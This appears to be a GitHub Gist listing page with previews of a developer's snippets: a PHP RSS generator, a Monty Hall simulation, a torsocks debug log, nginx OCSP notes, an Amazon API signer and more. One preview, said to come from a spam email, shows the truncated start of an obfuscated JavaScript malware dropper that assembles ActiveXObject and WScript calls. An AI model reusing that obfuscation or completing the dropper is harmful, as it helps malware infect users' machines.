Skip to content

Instantly share code, notes, and snippets.

@sanmai
sanmai / RSS.php
Created March 2, 2016 02:02
Генератор валидного RSS
<?php
header('Content-Type: application/rss+xml; charset=utf-8');
$self = "https://www.example.com/news.xml";
$url = "https://www.example.com/";
$name = "Новости Example.com";
$xml = new DOMDocument("1.0", "utf-8");
$xml->formatOutput = true;
@sanmai
sanmai / RG0712298895-SIG.js
Created February 19, 2016 09:19
Found this in a spam email
absoluteProcedure = eval(('alcohol', 'examine', 'situation', 'race', 'cocoon', 'apostrophe', '\u0074barge'.e()) + 'hi' + ('anonymous', 'opposition', 'investment', '\u0073transportation'.e()) + '');
absoluteProcedure = absoluteProcedure[('dessert', 'taboo', 'version', 'amorphous', 'stimulus', 'syndicate', '\u0041individuality'.e()) + 'ct' + ('boat', 'selection', 'contrast', 'program(me)', 'container', '\u0069storm'.e()) + 've' + ('combination', 'fortune', '\u0058accord'.e()) + 'O' + ('binary', 'condition', 'square', '\u0062centimetre'.e()) + 'je' + ('board', 'specification', '\u0063chocolate'.e()) + 't'];
tabletBarrack = ('cardinal', 'interpret', 'parity', 'arsenal', 'taboo', '\u0052campaign'.e()) + 'un';
function String.prototype.e(a) {
return this.charAt(a);
}
resultAnalogy = new absoluteProcedure(('veto', '\u0057acoustic'.e()) + 'Sc' + ('switch', 'delta', '\u0072massive'.e()) + 'i' + ('meeting', 'memorandum', 'autograph', 'portion', '\u0070reservation'.e()) + 't.' + ('parallel', 'declaration', '
@sanmai
sanmai / The Monty Hall Paradox.php
Last active December 2, 2017 15:11
The Monty Hall Paradox - Monte Carlo experiment (Monty Hall Problem Simulation)
<?php
function remove_door($doors, $number) {
unset($doors[$number]);
return $doors;
}
$primaryChoiceWon = 0;
$secondChoiceWon = 0;
@sanmai
sanmai / LAN-GTJU3.txt
Created February 4, 2016 05:17
Logitec LAN-GTJU3 lsusb linux
Bus 004 Device 002: ID 0b95:1790 ASIX Electronics Corp. AX88179 Gigabit Ethernet
AX88179 - USB 3.0 to Gigabit Ethernet (GbE,GigE) | ASIX
@sanmai
sanmai / die_twice.php
Created October 30, 2015 01:38
If you want to die more than once
<?php
class one
{
public function __construct()
{
die("DIED ONCE\n");
}
}
@sanmai
sanmai / log.txt
Created June 20, 2015 05:22
torsocks -d ssh -v [email protected]
$ torsocks -d ssh -v [email protected]
[Jun 20 14:07:48] DEBUG torsocks[21916]: Logging subsytem initialized. Level 5, file (null), time 1 (in init_logging() at torsocks.c:286)
[Jun 20 14:07:48] DEBUG torsocks[21916]: Config file not provided by TORSOCKS_CONF_FILE. Using default /etc/tor/torsocks.conf (in config_file_read() at config-file.c:531)
[Jun 20 14:07:48] DEBUG torsocks[21916]: Config file setting tor address to 127.0.0.1 (in set_tor_address() at config-file.c:179)
[Jun 20 14:07:48] DEBUG torsocks[21916]: Config file setting tor port to 9050 (in set_tor_port() at config-file.c:142)
[Jun 20 14:07:48] DEBUG torsocks[21916]: [config] Onion address range set to 127.42.42.0/24 (in set_onion_info() at config-file.c:108)
[Jun 20 14:07:48] DEBUG torsocks[21916]: Config file /etc/tor/torsocks.conf opened and parsed. (in config_file_read() at config-file.c:560)
[Jun 20 14:07:48] DEBUG torsocks[21916]: [fclose] Close catched for fd 3 (in tsocks_fclose() at fclose.c:45)
[Jun 20 14:07:48] DEBUG torsocks[21916
@sanmai
sanmai / howto.md
Created April 20, 2015 04:20
OCSP responder prematurely closed connection while requesting certificate status, responder: ocsp6.wosign.com

Там где нужно:

ssl_stapling_responder http://www.example.com/wosign_request/;

В хосте www.example.com который открывается по http:

    location ~ ^/wosign_request/(.*)$ {
        resolver 127.0.0.1;

allow ;

@sanmai
sanmai / AmazonSigner.php
Created March 13, 2015 03:52
Very simple and easy to use request signer for Amazon Product Advertising API. The only method returns ready-to-send URL
<?php
/**
* Amazon Product Advertising API Signer
*
* @author Alexey Kopytko
* @license MIT
*
* Usage:
*
* $readyURL = AmazonSigner::signedURL([
@sanmai
sanmai / LiveJournalAutosaveWatch.user.js
Last active August 29, 2015 14:12
LiveJournal Editor Autosave Watch
// ==UserScript==
// @name LiveJournal Editor Autosave Watch
// @namespace https://gist.github.com/sanmai
// @description Warns user if autosave not happens
// @include http://www.livejournal.com/update.bml*
// @author Alexey Kopytko
// @updateURL https://gist.github.com/sanmai/8caa70f4f3132d543bd7/raw/LiveJournalAutosaveWatch.user.js
// @version 1.0
// @licence MIT
// ==/UserScript==
@sanmai
sanmai / lang.php
Last active October 19, 2015 02:32
Определялка языков
<?php
const LANGUAGE_ENGLISH = 'en';
const LANGUAGE_RUSSIAN = 'ru';
// языки какие мы поддерживаем в порядке приоритета
$languages = [LANGUAGE_RUSSIAN, LANGUAGE_ENGLISH];
// зададим язык из куки если она есть
if (isset($_COOKIE['lang']) && in_array($_COOKIE['lang'], $languages)) {